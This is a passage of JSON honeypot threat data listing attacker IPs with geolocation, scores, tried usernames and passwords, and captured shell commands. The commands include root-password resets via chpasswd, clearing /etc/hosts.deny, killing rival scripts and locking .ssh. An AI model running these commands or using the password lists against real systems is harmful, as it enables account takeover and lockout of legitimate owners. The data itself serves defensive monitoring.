        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Bungarribee",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 332,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T18:39:47.092000+00:00",
        "last_seen_30d": "2026-04-04T19:50:04.568000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 261,
        "Suricata": 71
      }
    },
    "115.68.208.117": {
      "attack_count": 236,
      "first_seen": "2026-04-02T20:25:38.527Z",
      "last_seen": "2026-04-02T21:37:09.069Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345a",
        "1422",
        "1qazcde3!@#",
        "Digital2025",
        "Founder@2026",
        "Ok123123",
        "P@55w0rd@2025",
        "Passw0rd321",
        "Qwertyui123",
        "Test2025",
        "Yj123456",
        "adminuser",
        "k23.cn!@#",
        "mylove",
        "p@55wOrd",
        "roberto123",
        "s1ptest",
        "serena"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:jUi84M6rv7mX\"|chpasswd|bash",
        "echo \"root:s6CYcm9CSSFM\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 38700,
      "as_org": "SMILESERV",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T20:25:38.527000+00:00",
        "last_seen_30d": "2026-04-02T21:38:12.872000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 59
      }
    },
    "171.231.184.98": {
      "attack_count": 219,
      "first_seen": "2026-04-12T19:32:50.086Z",
      "last_seen": "2026-04-12T19:44:51.749Z",
      "sessions": 43,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test123",
        "ubnt",
        "123456",
        "ace",
        "ashish",
        "brenda",
        "client",
        "cpanel",
        "developer",
        "dubai",
        "help",
        "linaro",
        "monitor",
        "mysql",
        "opc",
        "pi",
        "pizza",
        "public"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "test123",
        "039715582364317",
        "0l0ctyQh243O63uD",
        "112233",
        "1234",
        "12345",
        "12345678",
        "123456789",
        "1234567890%*()",
        "72b1bd75ac87852a",
        "Deadstar!",
        "ace",
        "aerohive",
        "ashish",
        "bananapi",
        "brenda",
        "developer",
        "dubai"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 15.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 309,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T19:32:50.086000+00:00",
        "last_seen_30d": "2026-04-12T19:46:00.993000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 90
      }
    },
    "95.85.226.199": {
      "attack_count": 218,
      "first_seen": "2026-04-30T03:49:46.332Z",
      "last_seen": "2026-04-30T04:51:08.449Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "345gs5662d34",
        "admin",
        "administrator",
        "bitrix",
        "deploy",
        "deployer",
        "djangoadmin",
        "git",
        "gpadmin",
        "guest",
        "guestguest",
        "maint",
        "mcadmin",
        "mysql",
        "odoo11",
        "postgres",
        "test",
        "testing"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "123456",
        "12345678",
        "1234567890",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa112233",
        "Admin123",
        "Passw0rd",
        "Password1",
        "a",
        "admin",
        "admin1234567890",
        "adminimda",
        "djangoadmin",
        "ftp321",
        "ghbdtn",
        "guest",
        "mcadmin"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:U4DfPb1ShBcv\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 209693,
      "as_org": "Oc Networks Limited",
      "threat_score": 37.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T03:49:46.332000+00:00",
        "last_seen_30d": "2026-04-30T04:52:14.219000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 70
      }
    },
    "45.144.233.56": {
      "attack_count": 204,
      "first_seen": "2026-04-25T14:49:14.753Z",
      "last_seen": "2026-04-25T15:26:55.755Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "ubuntu",
        "printer",
        "345gs5662d34",
        "bot",
        "cheeki",
        "db2inst1",
        "ec2-user",
        "odoo",
        "odoo17",
        "santana",
        "sftptest",
        "stu",
        "vpn"
      ],
      "passwords_attempted": [
        "0",
        "00001111",
        "123123",
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "777777",
        "Aa112211.",
        "M3gaP33!",
        "Odoo11",
        "QWERqwer1234",
        "Qazwsx8888!",
        "Root123456789#$",
        "Root2024!",
        "Server2024",
        "Ubuntu20!",
        "Vpn02",
        "asdqwe123",
        "nPSpP4PBW0"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"printer\\nyqa98gWjnjIc\\nyqa98gWjnjIc\\n\"|passwd",
        "echo -e \"printer\\nyqa98gWjnjIc\\nyqa98gWjnjIc\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 41745,
      "as_org": "Baykov Ilya Sergeevich",
      "threat_score": 30.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 268,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T14:49:14.753000+00:00",
        "last_seen_30d": "2026-04-25T15:27:56.632000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 64
      }
    },
    "153.120.63.47": {
      "attack_count": 193,
      "first_seen": "2026-04-06T05:23:46.864Z",
      "last_seen": "2026-04-06T06:29:59.492Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "steam",
        "345gs5662d34",
        "botuser",
        "guest1",
        "jboss",
        "n8n",
        "postgres",
        "tempuser",
        "user40",
        "yuri",
        "zihan"
      ],
      "passwords_attempted": [
        "1234@QWER",
        "1qaz2wsx@123",
        "3245gs5662d34",
        "345gs5662d34",
        "Aaaaaaa1",
        "Cj123456",
        "N8n29!",
        "Sangfor@123",
        "Steam",
        "Xr123456",
        "aA111111",
        "asdasd",
        "botuser",
        "guest1",
        "jboss",
        "postgres30",
        "root1..",
        "root2024!",
        "root654321#",
        "secreta1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:pNzbFjZx4Bfn\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 7684,
      "as_org": "SAKURA Internet Inc.",
      "threat_score": 7.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 259,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T05:23:46.864000+00:00",
        "last_seen_30d": "2026-04-06T06:31:05.703000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 66
      }
    },
    "179.51.153.37": {
      "attack_count": 168,
      "first_seen": "2026-04-01T07:09:31.289Z",
      "last_seen": "2026-04-01T08:26:41.576Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1!2@3#",
        "134679",
        "3131",
        "3245gs5662d34",
        "345gs5662d34",
        "6yhnbgt5",
        "Abcdefg123",
        "Db123456789",
        "Parola1234",
        "Pelco123",
        "QAZwsx!@",
        "Qq.147258",
        "linux@2026",
        "qazwsx1234",
        "qc@123",
        "sunway",
        "vector",
        "vice",
        "zaq12wsX",
        "zaq12wsxCDE#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:wN5iiWylywSF\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Eun\u00e1polis",
      "asn": 271186,
      "as_org": "EUNAPOLIS TELECOM LTDA",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T07:09:31.289000+00:00",
        "last_seen_30d": "2026-04-01T08:27:49.999000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "54.38.52.18": {
      "attack_count": 168,
      "first_seen": "2026-04-27T19:15:16.392Z",
      "last_seen": "2026-04-27T20:02:17.542Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!qa2ws3ed4rf",
        "02042024Ionela",
        "123123qw",
        "1Q2w3E4r",
        "3245gs5662d34",
        "345gs5662d34",
        "6666666",
        "@Aa123456789",
        "@Dmin",
        "AA123456AA",
        "Admin123!@",
        "Cx@123456",
        "Dw123456",
        "Jj123123",
        "P@$$w0rd1",
        "maximum1",
        "qawsed123",
        "qwertyuiop@",
        "saint",
        "server2"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Xt8rgFoXwbUb\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 216,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T19:15:16.392000+00:00",
        "last_seen_30d": "2026-04-27T20:03:24.938000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 48
      }
    },
    "167.86.108.126": {
      "attack_count": 153,
      "first_seen": "2026-04-27T03:14:22.837Z",
      "last_seen": "2026-04-27T03:54:09.686Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "wwwroot"
      ],
      "passwords_attempted": [
        "!QAZxsw2cde3",
        "%alldoms%",
        "1234_abcd",
        "3245gs5662d34",
        "345gs5662d34",
        "6yhn",
        "Admin1234!@#$",
        "Password123456789",
        "Peer123",
        "Qwertyuiop2024",
        "adminrootadminrootadminroot",
        "aksr",
        "depechemode",
        "local12345",
        "mail123",
        "oracle@1234",
        "wwwroot123@",
        "xdjxzx@zcb@206",
        "zzidc!@$QWER"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:tow0qKClDw3l\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 32.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 198,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T03:14:22.837000+00:00",
        "last_seen_30d": "2026-04-27T03:55:12.206000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 153,
        "Suricata": 45
      }
    },
    "185.227.111.126": {
      "attack_count": 93,
      "first_seen": "2026-04-05T07:23:14.314Z",
      "last_seen": "2026-04-05T08:04:35.604Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "elena",
        "testtest"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "abc@1234",
        "elena",
        "qazwsx11111111@123",
        "root666..",
        "testtest"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:0MLJnLcR7R9G\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 204548,
      "as_org": "Kamatera Inc",
      "threat_score": 5.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T07:23:14.314000+00:00",
        "last_seen_30d": "2026-04-05T08:05:39.384000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 93,
        "Suricata": 17
      }
    },
    "120.48.147.111": {
      "attack_count": 64,
      "first_seen": "2026-04-15T21:00:47.527Z",
      "last_seen": "2026-04-15T21:47:37.786Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ali",
        "mohit",
        "steam",
        "teste"
      ],
      "passwords_attempted": [
        "1",
        "159357qaz",
        "3edc4RFV",
        "Aa112211.",
        "Ali14!",
        "ZAQ!2wsx2025@#",
        "iwYpKi9&oE36.923967E-3103Xy",
        "mohit@123",
        "zzBB1234"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T21:00:47.527000+00:00",
        "last_seen_30d": "2026-04-15T21:49:30.582000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 64,
        "Suricata": 32
      }
    },
    "42.58.226.116": {
      "attack_count": 56,
      "first_seen": "2026-04-03T09:04:20.009Z",
      "last_seen": "2026-04-03T09:09:23.265Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 85,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T09:04:20.009000+00:00",
        "last_seen_30d": "2026-04-03T09:10:24.516000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 29
      }
    },
    "115.49.30.239": {
      "attack_count": 50,
      "first_seen": "2026-04-15T11:25:37.591Z",
      "last_seen": "2026-04-15T11:31:05.032Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T11:25:37.591000+00:00",
        "last_seen_30d": "2026-04-15T11:32:13.942000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "61.52.192.64": {
      "attack_count": 50,
      "first_seen": "2026-04-16T11:37:51.556Z",
      "last_seen": "2026-04-16T11:43:16.028Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T11:37:51.556000+00:00",
        "last_seen_30d": "2026-04-16T11:44:17.336000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "67.102.7.169": {
      "attack_count": 50,
      "first_seen": "2026-04-27T06:24:06.599Z",
      "last_seen": "2026-04-27T06:29:30.910Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 28.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T06:24:06.599000+00:00",
        "last_seen_30d": "2026-04-27T06:30:34.532000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "94.243.10.129": {
      "attack_count": 50,
      "first_seen": "2026-04-22T14:41:26.583Z",
      "last_seen": "2026-04-22T14:46:55.672Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tyumen",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
